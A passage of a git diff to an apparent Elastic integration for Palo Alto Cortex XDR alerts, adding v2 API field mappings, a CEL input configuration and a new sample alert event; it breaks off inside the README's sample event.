b/packages/panw_cortex_xdr/data_stream/alerts/fields/fields.yml index a300256fd5a..5d198d1a74c 100644 --- a/packages/panw_cortex_xdr/data_stream/alerts/fields/fields.yml +++ b/packages/panw_cortex_xdr/data_stream/alerts/fields/fields.yml @@ -70,7 +70,7 @@ description: | Array of all the MAC addresses related to the agent. - name: agent_is_vdi - type: keyword + type: boolean description: | If agent is running inside a Virtual Desktop. - name: agent_ip_addresses_v6 @@ -107,6 +107,8 @@ type: keyword description: | Original tags for the asset. + # v1 API + # Contains several fields inside `events` sub-field. - name: events type: group fields: @@ -306,3 +308,294 @@ type: keyword description: | The signature vendor of the actor process. + # v2 API - Here, fields are at top-level and not inside "events". + - name: severity + type: keyword + - name: detection_timestamp + type: date + - name: event_timestamp + type: date + - name: action_local_ip + type: ip + - name: action_local_port + type: long + - name: action_remote_ip + type: ip + - name: action_remote_port + type: long + - name: user_agent + type: keyword + - name: last_modified_ts + type: date + - name: action_local_ip_v6 + type: ip + - name: action_remote_ip_v6 + type: ip + - name: dynamic_fields + type: keyword + - name: tags + type: keyword + - name: dss_job_title + type: keyword + - name: dss_department + type: keyword + - name: dss_country + type: keyword + - name: dss_groups + type: keyword + - name: mac_addresses + type: keyword + - name: mitre_tactic_id_and_name + type: keyword + - name: mitre_technique_id_and_name + type: keyword + - name: user_name + type: keyword + - name: action_process_signature_status + type: keyword + - name: actor_process_image_md5 + type: keyword + - name: actor_process_image_path + type: keyword + - name: actor_process_os_pid + type: long + - name: actor_thread_thread_id + type: long + - name: case_id + type: long + - name: causality_actor_causality_id + type: keyword + - name: causality_actor_process_command_line + type: keyword + - name: causality_actor_process_execution_time + type: long + - name: causality_actor_process_image_md5 + type: keyword + - name: causality_actor_process_image_name + type: keyword + - name: causality_actor_process_image_path + type: keyword + - name: causality_actor_process_image_sha256 + type: keyword + - name: causality_actor_process_signature_status + type: keyword + - name: causality_actor_process_signature_vendor + type: keyword + - name: identity_sub_type + type: keyword + - name: identity_type + type: keyword + - name: operation_name + type: keyword + - name: project + type: keyword + - name: cloud_provider + type: keyword + - name: referenced_resource + type: keyword + - name: resource_sub_type + type: keyword + - name: resource_type + type: keyword + - name: cluster_name + type: keyword + - name: container_id + type: keyword + - name: image_name + type: keyword + - name: contains_featured_host + type: keyword + - name: contains_featured_user + type: keyword + - name: contains_featured_ip + type: keyword + - name: agent_install_type + type: keyword + description: | + Display name of the actor. + - name: agent_host_boot_time + type: date + description: | + Uptime of the host. + - name: event_sub_type + type: integer + description: | + Sub type of the event related to the alert. + - name: module_id + type: keyword + description: | + The ID of the module that caught the event. + - name: association_strength + type: long + - name: dst_association_strength + type: long + - name: story_id + type: keyword + - name: event_id + type: keyword + description: | + The ID unique to the underlying event related to the alert. + - name: event_type + type: keyword + description: | + Event type + - name: actor_process_causality_id + type: keyword + description: | + The parent processor ID related to the actor. + - name: actor_process_command_line + type: keyword + description: | + Actor full command line. + - name: actor_process_image_name + type: keyword + description: | + Actor binary name. + - name: actor_process_image_sha256 + type: keyword + description: | + SHA256 hash indentifier of the actor. + - name: actor_process_instance_id + type: keyword + description: | + The process ID related to the actor. + - name: action_file_macro_sha256 + type: keyword + - name: action_external_hostname + type: keyword + description: | + Any external hostname related to the specific event action. + - name: action_country + type: keyword + - name: action_process_causality_id + type: keyword + description: | + The parent processor ID related to the action. + - name: os_actor_effective_username + type: keyword + description: | + Username related to the OS actor. + - name: os_actor_process_instance_id + type: keyword + description: | + The process ID related to the OS actor. + - name: os_actor_process_image_path + type: keyword + description: | + OS actor binary path. + - name: os_actor_process_image_name + type: keyword + description: | + OS actor binary name. + - name: os_actor_process_command_line + type: keyword + description: | + OS actor full command line example. + - name: os_actor_process_signature_status + type: keyword + description: | + Signature of the OS actor process. + - name: os_actor_process_signature_vendor + type: keyword + description: | + Signature vendor of the OS actor process. + - name: os_actor_process_image_sha256 + type: keyword + description: | + SHA256 hash indentifier of the OS actor process. + - name: os_actor_process_causality_id + type: keyword + description: | + The ID of the parent process related to the OS actor. + - name: os_actor_causality_id + type: keyword + description: | + The ID of the OS actor process + - name: os_actor_process_os_pid + type: integer + description: | + The OS PID related to the related process. + - name: os_actor_thread_thread_id + type: integer + description: | + The thread ID related to the related OS actor process. + - name: fw_app_id + type: keyword + description: | + The layer 7 application ID from the firewall event. + - name: fw_device_name + type: keyword + description: | + Related firewall device. + - name: fw_url_domain + type: keyword + description: | + Related domain to the firewall event. + - name: fw_email_subject + type: keyword + - name: fw_email_sender + type: keyword + - name: fw_email_recipient + type: keyword + - name: fw_app_subcategory + type: keyword + description: | + Layer 7 application subcategory related to the firewall event. + - name: fw_app_category + type: keyword + description: | + Layer 7 application category related to the firewall event. + - name: fw_app_technology + type: keyword + description: | + Layer 7 application type related to the firewall event. + - name: fw_vsys + type: keyword + description: | + The related VSYS name if applicable. + - name: fw_xff + type: keyword + - name: fw_misc + type: keyword + description: | + Additional information related to the firewall event. + - name: fw_is_phishing + type: keyword + description: | + If event is related to a phishing campaign. + - name: dst_agent_id + type: keyword + description: | + The endpoint ID of a destination agent. + - name: dst_causality_actor_process_execution_time + type: keyword + description: | + The process execution time of the destination process. + - name: dns_query_name + type: keyword + description: | + The related DNS query for the event. + - name: dst_action_external_hostname + type: keyword + description: | + The external hostname of the destination. + - name: dst_action_country + type: keyword + description: | + The country related to the destination. + - name: dst_action_external_port + type: keyword + description: | + The external (NAT) port of the destination. + - name: actor_causality_id + type: keyword + description: | + The parent process ID of the actor process. + - name: actor_process_signature_status + type: keyword + description: | + The signature of the actor process. + - name: actor_process_signature_vendor + type: keyword + description: | + The signature vendor of the actor process. diff --git a/packages/panw_cortex_xdr/data_stream/alerts/manifest.yml b/packages/panw_cortex_xdr/data_stream/alerts/manifest.yml index 2d95741ed64..e8d915dcbdc 100644 --- a/packages/panw_cortex_xdr/data_stream/alerts/manifest.yml +++ b/packages/panw_cortex_xdr/data_stream/alerts/manifest.yml @@ -2,6 +2,7 @@ type: logs title: Palo Alto Cortex XDR Alerts API streams: - input: httpjson + enabled: false vars: - name: url type: text @@ -100,6 +101,13 @@ streams: type: bool multi: false default: false + - name: preserve_duplicate_custom_fields + required: false + show_user: false + title: Preserve duplicate custom fields + description: Preserve mimecast SIEM logs fields that were copied to Elastic Common Schema (ECS) fields. + type: bool + multi: false - name: processors type: yaml title: Processors @@ -110,5 +118,123 @@ streams: Processors are used to reduce the number of fields in the exported event or to enhance the event with metadata. This executes in the agent before the logs are parsed. See [Processors](https://www.elastic.co/guide/en/beats/filebeat/current/filtering-and-enhancing-data.html) for details. template_path: httpjson.yml.hbs - title: Palo Alto Cortex XDR Alerts - description: Palo Alto Cortex XDR Alerts API + title: Palo Alto Cortex XDR Alerts from v1 API - Deprecated + description: Palo Alto Cortex XDR Alerts from v1 API. This API is deprecated. Please use v2 API instead. + - input: cel + vars: + - name: url + type: text + title: Palo Alto Cortex XDR API Domain + multi: false + required: true + show_user: true + description: The URL hosting the API endpoint. + default: https://test.xdr.eu.paloaltonetworks.com + - name: enable_request_tracer + type: bool + title: Enable request tracing + multi: false + required: false + show_user: false + description: The request tracer logs requests and responses to the agent's local file-system for debugging configurations. Enabling this request tracing compromises security and should only be used for debugging. See [documentation](https://www.elastic.co/guide/en/beats/filebeat/current/filebeat-input-cel.html#_resource_tracer_filename) for details. + - name: api_token + type: password + title: Palo Alto Cortex XDR API Token + multi: false + required: true + show_user: true + description: API token from the XDR UI. + secret: true + - name: token_id + type: text + title: Palo Alto Cortex XDR API Token ID + multi: false + required: true + show_user: true + default: 1 + description: The token ID related to the above API token + secret: false + - name: advanced_sec_level + type: bool + title: Advanced security level + multi: false + required: false + show_user: true + description: Whether the API tokeny was issued with an 'Advanced' security level. + default: false + - name: request_timeout + type: text + title: HTTP Client Timeout + description: Duration before declaring that the HTTP client connection has timed out. Valid time units are ns, us, ms, s, m, h. + multi: false + required: false + show_user: true + default: 30s + - name: interval + type: text + title: Interval + multi: false + required: true + show_user: true + default: 5m + description: How often the API is polled for new alerts. Supported units for this parameter are h/m/s. + - name: initial_interval + type: text + title: Initial Interval + multi: false + required: true + show_user: true + default: 24h + description: How far back in time to look for alerts the first time running. Supported units for this parameter are h/m/s. + - name: ssl + type: yaml + title: SSL + multi: false + required: false + show_user: true + description: i.e. certificate, keys, supported_protocols, verification_mode etc. See [SSL](https://www.elastic.co/guide/en/beats/filebeat/current/configuration-ssl.html#ssl-server-config) for details. + default: | + #certificate: "/etc/server/cert.pem" + #key: "/etc/server/key.pem" + - name: proxy_url + type: text + title: Proxy URL + multi: false + required: false + show_user: true + - name: tags + type: text + title: Tags + multi: true + required: true + show_user: false + default: + - forwarded + - panw_cortex_xdr + - name: preserve_original_event + required: true + show_user: true + title: Preserve original event + description: Preserves a raw copy of the original event, added to the field `event.original` + type: bool + multi: false + default: false + - name: preserve_duplicate_custom_fields + required: false + show_user: false + title: Preserve duplicate custom fields + description: Preserve mimecast SIEM logs fields that were copied to Elastic Common Schema (ECS) fields. + type: bool + multi: false + - name: processors + type: yaml + title: Processors + multi: false + required: false + show_user: false + description: > + Processors are used to reduce the number of fields in the exported event or to enhance the event with metadata. This executes in the agent before the logs are parsed. See [Processors](https://www.elastic.co/guide/en/beats/filebeat/current/filtering-and-enhancing-data.html) for details. + + template_path: cel.yml.hbs + title: Palo Alto Cortex XDR Alerts from v2 API + description: Collect Palo Alto Cortex XDR Alerts from v2 API. diff --git a/packages/panw_cortex_xdr/data_stream/alerts/sample_event.json b/packages/panw_cortex_xdr/data_stream/alerts/sample_event.json index 962b303fc75..9f1dbb6442a 100644 --- a/packages/panw_cortex_xdr/data_stream/alerts/sample_event.json +++ b/packages/panw_cortex_xdr/data_stream/alerts/sample_event.json @@ -1,112 +1,268 @@ { - "@timestamp": "2020-10-21T11:31:28.980Z", + "@timestamp": "2023-11-29T23:09:23.118Z", "agent": { - "ephemeral_id": "d1f9377a-0b86-44ab-8ba3-2be0e35e75fc", - "id": "6245802f-8bd9-4634-b1db-411601495ab1", - "name": "docker-fleet-agent", + "ephemeral_id": "0cc3def0-9810-4d00-99d2-a0f4abb24eba", + "id": "4257dff2-f7dd-4e61-b40f-217a22d6d4b9", + "name": "elastic-agent-72459", "type": "filebeat", - "version": "8.9.0" + "version": "8.13.0" }, "data_stream": { "dataset": "panw_cortex_xdr.alerts", - "namespace": "ep", + "namespace": "71499", "type": "logs" }, "ecs": { "version": "8.11.0" }, "elastic_agent": { - "id": "6245802f-8bd9-4634-b1db-411601495ab1", + "id": "4257dff2-f7dd-4e61-b40f-217a22d6d4b9", "snapshot": false, - "version": "8.9.0" + "version": "8.13.0" }, "event": { - "action": "BLOCKED", + "action": "DETECTED", "agent_id_status": "verified", "category": [ "malware" ], - "created": "2020-10-21T11:31:28.980Z", + "created": "2019-09-22T13:36:03.318Z", "dataset": "panw_cortex_xdr.alerts", - "id": "800800", - "ingested": "2023-08-17T06:15:07Z", + "id": "", + "ingested": "2025-02-21T08:41:14Z", "kind": "alert", - "original": "{\"action\":\"BLOCKED\",\"action_pretty\":\"Prevented (Blocked)\",\"agent_data_collection_status\":true,\"agent_device_domain\":null,\"agent_fqdn\":\"test\",\"agent_is_vdi\":null,\"agent_os_sub_type\":\"XP\",\"agent_os_type\":\"Windows\",\"agent_version\":\"1.2.3.4\",\"alert_id\":\"1001\",\"attempt_counter\":55,\"bioc_category_enum_key\":null,\"bioc_indicator\":null,\"category\":\"Exploit\",\"deduplicate_tokens\":null,\"description\":\"Local privilege escalation prevented\",\"detection_timestamp\":1603279888980,\"end_match_attempt_ts\":1603552062824,\"endpoint_id\":\"12345678\",\"events\":{\"action_country\":\"UNKNOWN\",\"action_external_hostname\":null,\"action_file_macro_sha256\":null,\"action_file_md5\":null,\"action_file_name\":null,\"action_file_path\":null,\"action_file_sha256\":null,\"action_local_ip\":null,\"action_local_port\":null,\"action_process_causality_id\":null,\"action_process_image_command_line\":null,\"action_process_image_name\":null,\"action_process_image_sha256\":null,\"action_process_instance_id\":null,\"action_process_signature_status\":\"N/A\",\"action_process_signature_vendor\":null,\"action_registry_data\":null,\"action_registry_full_key\":null,\"action_registry_key_name\":null,\"action_registry_value_name\":null,\"action_remote_ip\":null,\"action_remote_port\":null,\"actor_causality_id\":null,\"actor_process_causality_id\":null,\"actor_process_command_line\":\"c:\\\\tmp\\\\virus.exe\",\"actor_process_image_md5\":null,\"actor_process_image_name\":\"virus.exe\",\"actor_process_image_path\":\"c:\\\\tmp\\\\virus.exe\",\"actor_process_image_sha256\":\"133ee989293f92736301280c6f14c89d521200c17dcdcecca30cd20705332d44\",\"actor_process_instance_id\":\"1234\",\"actor_process_os_pid\":1234,\"actor_process_signature_status\":\"N/A\",\"actor_process_signature_vendor\":null,\"actor_thread_thread_id\":null,\"agent_host_boot_time\":null,\"agent_install_type\":\"NA\",\"association_strength\":null,\"causality_actor_causality_id\":null,\"causality_actor_process_command_line\":null,\"causality_actor_process_execution_time\":null,\"causality_actor_process_image_md5\":null,\"causality_actor_process_image_name\":null,\"causality_actor_process_image_path\":null,\"causality_actor_process_image_sha256\":null,\"causality_actor_process_signature_status\":\"N/A\",\"causality_actor_process_signature_vendor\":null,\"dns_query_name\":null,\"dst_action_country\":null,\"dst_action_external_hostname\":null,\"dst_action_external_port\":null,\"dst_agent_id\":null,\"dst_association_strength\":null,\"dst_causality_actor_process_execution_time\":null,\"event_id\":null,\"event_sub_type\":null,\"event_timestamp\":1603279888980,\"event_type\":\"Process Execution\",\"fw_app_category\":null,\"fw_app_id\":null,\"fw_app_subcategory\":null,\"fw_app_technology\":null,\"fw_device_name\":null,\"fw_email_recipient\":null,\"fw_email_sender\":null,\"fw_email_subject\":null,\"fw_interface_from\":null,\"fw_interface_to\":null,\"fw_is_phishing\":\"N/A\",\"fw_misc\":null,\"fw_rule\":null,\"fw_rule_id\":null,\"fw_serial_number\":null,\"fw_url_domain\":null,\"fw_vsys\":null,\"fw_xff\":null,\"module_id\":\"Privilege Escalation Protection\",\"os_actor_causality_id\":null,\"os_actor_effective_username\":null,\"os_actor_process_causality_id\":null,\"os_actor_process_command_line\":null,\"os_actor_process_image_name\":null,\"os_actor_process_image_path\":null,\"os_actor_process_image_sha256\":null,\"os_actor_process_instance_id\":null,\"os_actor_process_os_pid\":null,\"os_actor_process_signature_status\":\"N/A\",\"os_actor_process_signature_vendor\":null,\"os_actor_thread_thread_id\":null,\"story_id\":null,\"user_name\":null},\"external_id\":\"800800\",\"filter_rule_id\":null,\"host_ip\":[\"10.0.255.20\"],\"host_name\":\"Test\",\"is_whitelisted\":false,\"local_insert_ts\":1603279967500,\"mac\":null,\"mac_address\":[\"00:11:22:33:44:55\"],\"matching_service_rule_id\":null,\"matching_status\":\"FAILED\",\"mitre_tactic_id_and_name\":[\"\"],\"mitre_technique_id_and_name\":[\"\"],\"name\":\"Kernel Privilege Escalation\",\"severity\":\"high\",\"source\":\"XDR Agent\",\"starred\":false}", - "reason": "Local privilege escalation prevented", - "severity": 4, + "original": "{\"action\":\"DETECTED\",\"action_country\":[\"UNKNOWN\"],\"action_external_hostname\":null,\"action_file_macro_sha256\":null,\"action_file_md5\":null,\"action_file_name\":null,\"action_file_path\":null,\"action_file_sha256\":null,\"action_local_ip\":null,\"action_local_ip_v6\":null,\"action_local_port\":null,\"action_pretty\":\"Detected\",\"action_process_causality_id\":null,\"action_process_image_command_line\":null,\"action_process_image_name\":null,\"action_process_image_sha256\":null,\"action_process_instance_id\":null,\"action_process_signature_status\":[\"N/A\"],\"action_process_signature_vendor\":null,\"action_registry_data\":null,\"action_registry_full_key\":null,\"action_registry_key_name\":null,\"action_registry_value_name\":null,\"action_remote_ip\":null,\"action_remote_ip_v6\":null,\"action_remote_port\":null,\"actor_causality_id\":[\"\\u003cactor_causality_id\\u003e\"],\"actor_process_causality_id\":[\"\\u003cprocess_causality_id\\u003e\"],\"actor_process_command_line\":[\"\\u003ccommand_line\\u003e\"],\"actor_process_image_md5\":[\"\\u003cimage_md5\\u003e\"],\"actor_process_image_name\":[\"\\u003cimage_name\\u003e\"],\"actor_process_image_path\":[\"\\u003cimage_path\\u003e\"],\"actor_process_image_sha256\":[\"\\u003cimage_sha256\\u003e\"],\"actor_process_instance_id\":[\"\\u003cinstance_id\\u003e\"],\"actor_process_os_pid\":[996],\"actor_process_signature_status\":[\"Signed\"],\"actor_process_signature_vendor\":[\"\\u003csignature_vendor\\u003e\"],\"actor_thread_thread_id\":[7452],\"agent_data_collection_status\":null,\"agent_device_domain\":null,\"agent_fqdn\":null,\"agent_host_boot_time\":[1669128165772],\"agent_install_type\":\"STANDARD\",\"agent_ip_addresses_v6\":null,\"agent_is_vdi\":false,\"agent_os_sub_type\":\"\\u003cos_sub_type\\u003e\",\"agent_os_type\":\"\\u003cos_type\\u003e\",\"agent_version\":\"\\u003cagent_version\\u003e\",\"alert_id\":\"1\",\"alert_type\":\"Unclassified\",\"association_strength\":[50],\"attempt_counter\":0,\"bioc_category_enum_key\":null,\"bioc_indicator\":null,\"case_id\":9629,\"category\":\"\\u003ccategory\\u003e\",\"causality_actor_causality_id\":[\"\\u003ccausality_id\\u003e\"],\"causality_actor_process_command_line\":[\"\\u003ccommand_line\\u003e\"],\"causality_actor_process_execution_time\":[1669528171295],\"causality_actor_process_image_md5\":[\"\\u003cimage_md5\\u003e\"],\"causality_actor_process_image_name\":[\"\\u003cimage_name\\u003e\"],\"causality_actor_process_image_path\":[\"\\u003cimage_path\\u003e\"],\"causality_actor_process_image_sha256\":[\"\\u003csha256\\u003e\"],\"causality_actor_process_signature_status\":[\"Signed\"],\"causality_actor_process_signature_vendor\":[\"\\u003csignature_vendor\\u003e\"],\"cloud_provider\":null,\"cluster_name\":null,\"container_id\":null,\"contains_featured_host\":[\"NO\"],\"contains_featured_ip\":[\"NO\"],\"contains_featured_user\":[\"NO\"],\"deduplicate_tokens\":null,\"description\":\"The user domain\\\\username enabled a default account. The default account enabled: domain\\\\username\",\"detection_timestamp\":1569159363318,\"dns_query_name\":null,\"dss_country\":null,\"dss_department\":null,\"dss_groups\":null,\"dss_job_title\":null,\"dst_action_country\":null,\"dst_action_external_hostname\":null,\"dst_action_external_port\":null,\"dst_agent_id\":[\"\\u003cagent_id\\u003e\"],\"dst_association_strength\":null,\"dst_causality_actor_process_execution_time\":null,\"dynamic_fields\":null,\"end_match_attempt_ts\":null,\"endpoint_id\":\"\\u003cendpoint_id\\u003e\",\"event_id\":[\"\\u003cevent_id\\u003e\"],\"event_sub_type\":[1],\"event_timestamp\":[1701299363118],\"event_type\":[\"Process Execution\"],\"events\":null,\"external_id\":\"\\u003cexternal_id\\u003e\",\"filter_rule_id\":null,\"fw_app_category\":null,\"fw_app_id\":null,\"fw_app_subcategory\":null,\"fw_app_technology\":null,\"fw_device_name\":null,\"fw_email_recipient\":null,\"fw_email_sender\":null,\"fw_email_subject\":null,\"fw_interface_from\":null,\"fw_interface_to\":null,\"fw_is_phishing\":[\"N/A\"],\"fw_misc\":null,\"fw_rule\":null,\"fw_rule_id\":null,\"fw_serial_number\":null,\"fw_url_domain\":null,\"fw_vsys\":null,\"fw_xff\":null,\"host_ip\":[\"192.168.2.2\"],\"host_name\":\"\\u003chost_name\\u003e\",\"identity_sub_type\":null,\"identity_type\":null,\"image_name\":null,\"is_pcap\":false,\"is_whitelisted\":false,\"last_modified_ts\":null,\"local_insert_ts\":1673372647792,\"mac_addresses\":null,\"matching_service_rule_id\":\"\\u003cservice_rule_id\\u003e\",\"matching_status\":\"MATCHED\",\"mitre_tactic_id_and_name\":[\"TA0005 - Defense Evasion\"],\"mitre_technique_id_and_name\":[\"T1089 - Disabling Security Tools\"],\"module_id\":null,\"name\":\"A user enabled the Windows DefaultAccount\",\"operation_name\":null,\"original_tags\":[\"EG:k8s agents\",\"EG:windows\",\"ET:DESKTOP-FCCIPAN\"],\"os_actor_causality_id\":null,\"os_actor_effective_username\":null,\"os_actor_process_causality_id\":[\"\\u003cprocess_causality_id\\u003e\"],\"os_actor_process_command_line\":[\"\\u003ccommand_line\\u003e\"],\"os_actor_process_image_name\":[\"\\u003cimage_name\\u003e\"],\"os_actor_process_image_path\":[\"\\u003cimage_path\\u003e\"],\"os_actor_process_image_sha256\":[\"\\u003cimage_sha256\\u003e\"],\"os_actor_process_instance_id\":[\"\\u003cinstance_id\\u003e\"],\"os_actor_process_os_pid\":[996],\"os_actor_process_signature_status\":[\"Signed\"],\"os_actor_process_signature_vendor\":[\"\\u003cSignature_vendor\\u003e\"],\"os_actor_thread_thread_id\":[7205],\"project\":null,\"referenced_resource\":null,\"resolution_comment\":null,\"resolution_status\":\"STATUS_010_NEW\",\"resource_sub_type\":null,\"resource_type\":null,\"severity\":\"low\",\"source\":null,\"starred\":true,\"story_id\":null,\"tags\":[\"ET:DESKTOP-FCCIPAN\",\"EG:k8s agents\",\"EG:windows\"],\"user_agent\":null,\"user_name\":[\"\\u003cuser_name\\u003e\"]}", + "reason": "The user domain\\username enabled a default account. The default account enabled: domain\\username", + "severity": 2, "type": [ "info" ] }, "host": { - "hostname": "test", - "id": "12345678", + "hostname": "", + "id": "", "ip": [ - "10.0.255.20" + "192.168.2.2" ], - "name": "test", + "name": "", "os": { - "name": "Windows", - "version": "XP" + "name": "", + "version": "" } }, "input": { - "type": "httpjson" + "type": "cel" }, - "message": "Kernel Privilege Escalation", + "message": "A user enabled the Windows DefaultAccount", "panw_cortex": { "xdr": { - "action_pretty": "Prevented (Blocked)", - "agent_data_collection_status": true, - "agent_version": "1.2.3.4", - "alert_id": "1001", - "attempt_counter": 55, - "category": "Exploit", - "end_match_attempt_ts": "2020-10-24T15:07:42.824Z", - "events": { - "actor_process_signature_status": "N/A", - "agent_install_type": "NA", - "event_type": "Process Execution", - "fw_is_phishing": "N/A", - "module_id": "Privilege Escalation Protection", - "os_actor_process_signature_status": "N/A" - }, + "action_country": [ + "UNKNOWN" + ], + "action_pretty": "Detected", + "actor_causality_id": [ + "" + ], + "actor_process_causality_id": [ + "" + ], + "actor_process_signature_status": [ + "Signed" + ], + "agent_host_boot_time": "2022-11-22T14:42:45.772Z", + "agent_install_type": "STANDARD", + "agent_is_vdi": false, + "agent_version": "", + "alert_id": "1", + "alert_type": "Unclassified", + "association_strength": [ + 50 + ], + "attempt_counter": 0, + "case_id": 9629, + "category": "", + "contains_featured_host": [ + "NO" + ], + "contains_featured_ip": [ + "NO" + ], + "contains_featured_user": [ + "NO" + ], + "dst_agent_id": [ + "" + ], + "event_id": [ + "" + ], + "event_sub_type": [ + 1 + ], + "event_type": [ + "Process Execution" + ], + "fw_is_phishing": [ + "N/A" + ], + "is_pcap": false, "is_whitelisted": false, - "local_insert_ts": "2020-10-21T11:32:47.500Z", - "mac_address": [ - "00:11:22:33:44:55" + "local_insert_ts": "2023-01-10T17:44:07.792Z", + "matching_service_rule_id": "", + "matching_status": "MATCHED", + "original_tags": [ + "EG:k8s agents", + "EG:windows", + "ET:DESKTOP-FCCIPAN" + ], + "os_actor_process_causality_id": [ + "" + ], + "os_actor_process_command_line": [ + "" + ], + "os_actor_process_image_name": [ + "" + ], + "os_actor_process_image_path": [ + "" + ], + "os_actor_process_image_sha256": [ + "" + ], + "os_actor_process_instance_id": [ + "" + ], + "os_actor_process_os_pid": [ + 996 + ], + "os_actor_process_signature_status": [ + "Signed" + ], + "os_actor_process_signature_vendor": [ + "" ], - "matching_status": "FAILED", - "source": "XDR Agent", - "starred": false + "os_actor_thread_thread_id": [ + 7205 + ], + "resolution_status": "STATUS_010_NEW", + "starred": true } }, "process": { "code_signature": { - "status": "N/A" + "status": [ + "N/A" + ], + "subject_name": [ + "" + ] }, - "command_line": "c:\\tmp\\virus.exe", - "entity_id": "1234", - "executable": "c:\\tmp\\virus.exe", + "command_line": [ + "" + ], + "entity_id": [ + "" + ], + "executable": [ + "" + ], "hash": { - "sha256": "133ee989293f92736301280c6f14c89d521200c17dcdcecca30cd20705332d44" + "md5": [ + "" + ], + "sha256": [ + "" + ] }, - "name": "virus.exe", + "name": [ + "" + ], "parent": { "code_signature": { - "status": "N/A" - } + "status": [ + "Signed" + ], + "subject_name": [ + "" + ] + }, + "command_line": [ + "" + ], + "entity_id": [ + "" + ], + "executable": [ + "" + ], + "hash": { + "md5": [ + "" + ], + "sha256": [ + "" + ] + }, + "name": [ + "" + ], + "uptime": [ + 1669528171295 + ] }, - "pid": 1234 + "pid": [ + 996 + ], + "thread": { + "id": [ + 7452 + ] + } }, "related": { "hash": [ - "133ee989293f92736301280c6f14c89d521200c17dcdcecca30cd20705332d44" + "", + "", + "" + ], + "user": [ + "" ] }, + "source": { + "user": { + "name": "" + } + }, "tags": [ "preserve_original_event", "forwarded", - "panw_cortex_xdr" - ] + "panw_cortex_xdr", + "ET:DESKTOP-FCCIPAN", + "EG:k8s agents", + "EG:windows" + ], + "threat": { + "framework": "MITRE ATT&CK", + "tactic": { + "id": [ + "TA0005" + ], + "name": [ + "Defense Evasion" + ] + }, + "technique": { + "id": [ + "T1089" + ], + "name": [ + "Disabling Security Tools" + ] + } + }, + "user": { + "name": "" + } } \ No newline at end of file diff --git a/packages/panw_cortex_xdr/docs/README.md b/packages/panw_cortex_xdr/docs/README.md index d55e0b5a315..8fb4cf89a27 100644 --- a/packages/panw_cortex_xdr/docs/README.md +++ b/packages/panw_cortex_xdr/docs/README.md @@ -14,116 +14,272 @@ An example event for `alerts` looks as following: ```json { - "@timestamp": "2020-10-21T11:31:28.980Z", + "@timestamp": "2023-11-29T23:09:23.118Z", "agent": { - "ephemeral_id": "d1f9377a-0b86-44ab-8ba3-2be0e35e75fc", - "id": "6245802f-8bd9-4634-b1db-411601495ab1", - "name": "docker-fleet-agent", + "ephemeral_id": "0cc3def0-9810-4d00-99d2-a0f4abb24eba", + "id": "4257dff2-f7dd-4e61-b40f-217a22d6d4b9", + "name": "elastic-agent-72459", "type": "filebeat", - "version": "8.9.0" + "version": "8.13.0" }, "data_stream": { "dataset": "panw_cortex_xdr.alerts", - "namespace": "ep", + "namespace": "71499", "type": "logs" }, "ecs": { "version": "8.11.0" }, "elastic_agent": { - "id": "6245802f-8bd9-4634-b1db-411601495ab1", + "id": "4257dff2-f7dd-4e61-b40f-217a22d6d4b9", "snapshot": false, - "version": "8.9.0" + "version": "8.13.0" }, "event": { - "action": "BLOCKED", + "action": "DETECTED", "agent_id_status": "verified", "category": [ "malware" ], - "created": "2020-10-21T11:31:28.980Z", + "created": "2019-09-22T13:36:03.318Z", "dataset": "panw_cortex_xdr.alerts", - "id": "800800", - "ingested": "2023-08-17T06:15:07Z", + "id": "", + "ingested": "2025-02-21T08:41:14Z", "kind": "alert", - "original": "{\"action\":\"BLOCKED\",\"action_pretty\":\"Prevented (Blocked)\",\"agent_data_collection_status\":true,\"agent_device_domain\":null,\"agent_fqdn\":\"test\",\"agent_is_vdi\":null,\"agent_os_sub_type\":\"XP\",\"agent_os_type\":\"Windows\",\"agent_version\":\"1.2.3.4\",\"alert_id\":\"1001\",\"attempt_counter\":55,\"bioc_category_enum_key\":null,\"bioc_indicator\":null,\"category\":\"Exploit\",\"deduplicate_tokens\":null,\"description\":\"Local privilege escalation prevented\",\"detection_timestamp\":1603279888980,\"end_match_attempt_ts\":1603552062824,\"endpoint_id\":\"12345678\",\"events\":{\"action_country\":\"UNKNOWN\",\"action_external_hostname\":null,\"action_file_macro_sha256\":null,\"action_file_md5\":null,\"action_file_name\":null,\"action_file_path\":null,\"action_file_sha256\":null,\"action_local_ip\":null,\"action_local_port\":null,\"action_process_causality_id\":null,\"action_process_image_command_line\":null,\"action_process_image_name\":null,\"action_process_image_sha256\":null,\"action_process_instance_id\":null,\"action_process_signature_status\":\"N/A\",\"action_process_signature_vendor\":null,\"action_registry_data\":null,\"action_registry_full_key\":null,\"action_registry_key_name\":null,\"action_registry_value_name\":null,\"action_remote_ip\":null,\"action_remote_port\":null,\"actor_causality_id\":null,\"actor_process_causality_id\":null,\"actor_process_command_line\":\"c:\\\\tmp\\\\virus.exe\",\"actor_process_image_md5\":null,\"actor_process_image_name\":\"virus.exe\",\"actor_process_image_path\":\"c:\\\\tmp\\\\virus.exe\",\"actor_process_image_sha256\":\"133ee989293f92736301280c6f14c89d521200c17dcdcecca30cd20705332d44\",\"actor_process_instance_id\":\"1234\",\"actor_process_os_pid\":1234,\"actor_process_signature_status\":\"N/A\",\"actor_process_signature_vendor\":null,\"actor_thread_thread_id\":null,\"agent_host_boot_time\":null,\"agent_install_type\":\"NA\",\"association_strength\":null,\"causality_actor_causality_id\":null,\"causality_actor_process_command_line\":null,\"causality_actor_process_execution_time\":null,\"causality_actor_process_image_md5\":null,\"causality_actor_process_image_name\":null,\"causality_actor_process_image_path\":null,\"causality_actor_process_image_sha256\":null,\"causality_actor_process_signature_status\":\"N/A\",\"causality_actor_process_signature_vendor\":null,\"dns_query_name\":null,\"dst_action_country\":null,\"dst_action_external_hostname\":null,\"dst_action_external_port\":null,\"dst_agent_id\":null,\"dst_association_strength\":null,\"dst_causality_actor_process_execution_time\":null,\"event_id\":null,\"event_sub_type\":null,\"event_timestamp\":1603279888980,\"event_type\":\"Process Execution\",\"fw_app_category\":null,\"fw_app_id\":null,\"fw_app_subcategory\":null,\"fw_app_technology\":null,\"fw_device_name\":null,\"fw_email_recipient\":null,\"fw_email_sender\":null,\"fw_email_subject\":null,\"fw_interface_from\":null,\"fw_interface_to\":null,\"fw_is_phishing\":\"N/A\",\"fw_misc\":null,\"fw_rule\":null,\"fw_rule_id\":null,\"fw_serial_number\":null,\"fw_url_domain\":null,\"fw_vsys\":null,\"fw_xff\":null,\"module_id\":\"Privilege Escalation 